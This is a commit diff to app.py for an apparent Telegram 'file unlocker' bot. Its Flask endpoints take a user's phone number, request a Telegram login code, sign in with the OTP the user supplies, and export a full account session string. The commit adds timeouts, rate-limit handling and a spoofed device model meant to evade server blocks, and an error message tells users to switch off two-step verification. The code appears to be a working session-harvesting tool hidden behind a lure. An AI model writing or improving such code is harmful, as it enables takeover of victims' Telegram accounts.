pmrony commited on
Commit
9e5271f
·
verified ·
1 Parent(s): 8818799

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +34 -37
app.py CHANGED
@@ -3,12 +3,11 @@ import time
3
  import threading
4
  import requests
5
  import asyncio
6
- import re
7
  import urllib3
8
  from flask import Flask, jsonify, make_response, request
9
  from supabase import create_client
10
  from pyrogram import Client, filters, enums, idle
11
- from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired
12
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
13
 
14
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
@@ -28,23 +27,21 @@ app = Flask(__name__)
28
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
29
  admin_states = {}
30
 
31
- # টেম্পোরারি সেশন ডেটা রাখার জন্য
32
  temp_clients = {}
33
-
34
- # মেইন ইভেন্ট লুপ (Flask এবং Pyrogram একসাথে চালানোর জন্য)
35
  main_loop = asyncio.get_event_loop()
36
 
37
  def run_async(coro):
38
- """Flask এর সিঙ্ক্রোনাস কোড থেকে Pyrogram এর অ্যাসিঙ্ক্রোনাস কোড চালানো্যাজিকাংশন"""
39
  future = asyncio.run_coroutine_threadsafe(coro, main_loop)
40
- return future.result()
 
 
 
 
 
 
41
 
42
- bot = Client(
43
- "file_unlocker_bot",
44
- api_id=API_ID,
45
- api_hash=API_HASH,
46
- bot_token=BOT_TOKEN
47
- )
48
 
49
  async def db_query(func):
50
  return await asyncio.to_thread(func)
@@ -52,7 +49,7 @@ async def db_query(func):
52
  # ================= FLASK API ROUTES =================
53
  @app.route('/')
54
  def index():
55
- return "Bot and Real Session Generator is Running! 🚀"
56
 
57
  def add_cors_headers(response):
58
  response.headers['Access-Control-Allow-Origin'] = '*'
@@ -81,24 +78,27 @@ def api_send_code():
81
  return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
82
 
83
  async def process_send_code():
84
- client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
85
- await client.connect()
86
  try:
87
- code_info = await client.send_code(phone)
88
- temp_clients[phone] = {
89
- 'client': client,
90
- 'hash': code_info.phone_code_hash
91
- }
92
  return {"status": "ok", "hash": code_info.phone_code_hash}
93
- except Exception as e:
 
94
  await client.disconnect()
95
- return {"status": "error", "msg": str(e)}
 
 
 
 
 
96
 
97
- try:
98
- result = run_async(process_send_code())
99
- return add_cors_headers(make_response(jsonify(result)))
100
- except Exception as e:
101
- return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
102
 
103
  @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
104
  def api_verify_code():
@@ -119,7 +119,7 @@ def api_verify_code():
119
  phone_hash = temp_data['hash']
120
 
121
  try:
122
- await client.sign_in(phone, phone_hash, user_otp)
123
  session_string = await client.export_session_string()
124
  await client.disconnect()
125
 
@@ -134,7 +134,7 @@ def api_verify_code():
134
  except SessionPasswordNeeded:
135
  await client.disconnect()
136
  del temp_clients[phone]
137
- return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off and try again."}
138
  except PhoneCodeInvalid:
139
  return {"status": "error", "msg": "Invalid OTP Code!"}
140
  except PhoneCodeExpired:
@@ -144,13 +144,10 @@ def api_verify_code():
144
  except Exception as e:
145
  await client.disconnect()
146
  del temp_clients[phone]
147
- return {"status": "error", "msg": str(e)}
148
 
149
- try:
150
- result = run_async(process_verify())
151
- return add_cors_headers(make_response(jsonify(result)))
152
- except Exception as e:
153
- return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
154
 
155
  # ================= TELEGRAM BOT COMMANDS =================
156
  @bot.on_message(filters.command("start"))
@@ -492,7 +489,7 @@ def run_flask(): app.run(host="0.0.0.0", port=7860)
492
 
493
  async def main():
494
  await bot.start()
495
- print("🤖 Pyrogram Bot & Real Session Generator is running!")
496
  await idle()
497
  await bot.stop()
498
 
 
3
  import threading
4
  import requests
5
  import asyncio
 
6
  import urllib3
7
  from flask import Flask, jsonify, make_response, request
8
  from supabase import create_client
9
  from pyrogram import Client, filters, enums, idle
10
+ from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, FloodWait
11
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
12
 
13
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
27
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
28
  admin_states = {}
29
 
 
30
  temp_clients = {}
 
 
31
  main_loop = asyncio.get_event_loop()
32
 
33
  def run_async(coro):
34
+ """Flask থেকে অ্যাসিঙ্ক্রোনাস কোড করার জন্য সে মেথড (Timeout সহ)"""
35
  future = asyncio.run_coroutine_threadsafe(coro, main_loop)
36
+ try:
37
+ # সর্বোচ্চ ২৫ সেকেন্ড অপেক্ষা করবে, না হলে টাইমআউট এরর দিবে
38
+ return future.result(timeout=25)
39
+ except asyncio.TimeoutError:
40
+ return {"status": "error", "msg": "Telegram Server Timeout! Please try again."}
41
+ except Exception as e:
42
+ return {"status": "error", "msg": f"System Error: {str(e)}"}
43
 
44
+ bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
 
 
 
 
 
45
 
46
  async def db_query(func):
47
  return await asyncio.to_thread(func)
 
49
  # ================= FLASK API ROUTES =================
50
  @app.route('/')
51
  def index():
52
+ return "Bot and Real Session Generator is Running securely! 🚀"
53
 
54
  def add_cors_headers(response):
55
  response.headers['Access-Control-Allow-Origin'] = '*'
 
78
  return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
79
 
80
  async def process_send_code():
81
+ # ক্লাউড সার্ভার ব্লক এড়াতে কাস্টম ডিভাইস মডেল অ্যাড করা হলো
82
+ client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True, device_model="PC Windows", app_version="1.0")
83
  try:
84
+ await asyncio.wait_for(client.connect(), timeout=10)
85
+ # কোড রিকোয়েস্ট (সর্বোচ্চ ১৫ সেকেন্ড অপেক্ষা করবে)
86
+ code_info = await asyncio.wait_for(client.send_code(phone), timeout=15)
87
+
88
+ temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash}
89
  return {"status": "ok", "hash": code_info.phone_code_hash}
90
+
91
+ except FloodWait as e:
92
  await client.disconnect()
93
+ return {"status": "error", "msg": f"Telegram Rate Limited! Wait {e.value} seconds."}
94
+ except Exception as e:
95
+ try: await client.disconnect()
96
+ except: pass
97
+ # হুবহু এরর মেসেজটি ফন্টএন্ডে পাঠিয়ে দিবে
98
+ return {"status": "error", "msg": f"TG Error: {type(e).__name__}"}
99
 
100
+ result = run_async(process_send_code())
101
+ return add_cors_headers(make_response(jsonify(result)))
 
 
 
102
 
103
  @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
104
  def api_verify_code():
 
119
  phone_hash = temp_data['hash']
120
 
121
  try:
122
+ await asyncio.wait_for(client.sign_in(phone, phone_hash, user_otp), timeout=15)
123
  session_string = await client.export_session_string()
124
  await client.disconnect()
125
 
 
134
  except SessionPasswordNeeded:
135
  await client.disconnect()
136
  del temp_clients[phone]
137
+ return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off."}
138
  except PhoneCodeInvalid:
139
  return {"status": "error", "msg": "Invalid OTP Code!"}
140
  except PhoneCodeExpired:
 
144
  except Exception as e:
145
  await client.disconnect()
146
  del temp_clients[phone]
147
+ return {"status": "error", "msg": f"Error: {type(e).__name__}"}
148
 
149
+ result = run_async(process_verify())
150
+ return add_cors_headers(make_response(jsonify(result)))
 
 
 
151
 
152
  # ================= TELEGRAM BOT COMMANDS =================
153
  @bot.on_message(filters.command("start"))
 
489
 
490
  async def main():
491
  await bot.start()
492
+ print("🤖 Pyrogram Bot & Session Generator is running!")
493
  await idle()
494
  await bot.stop()
495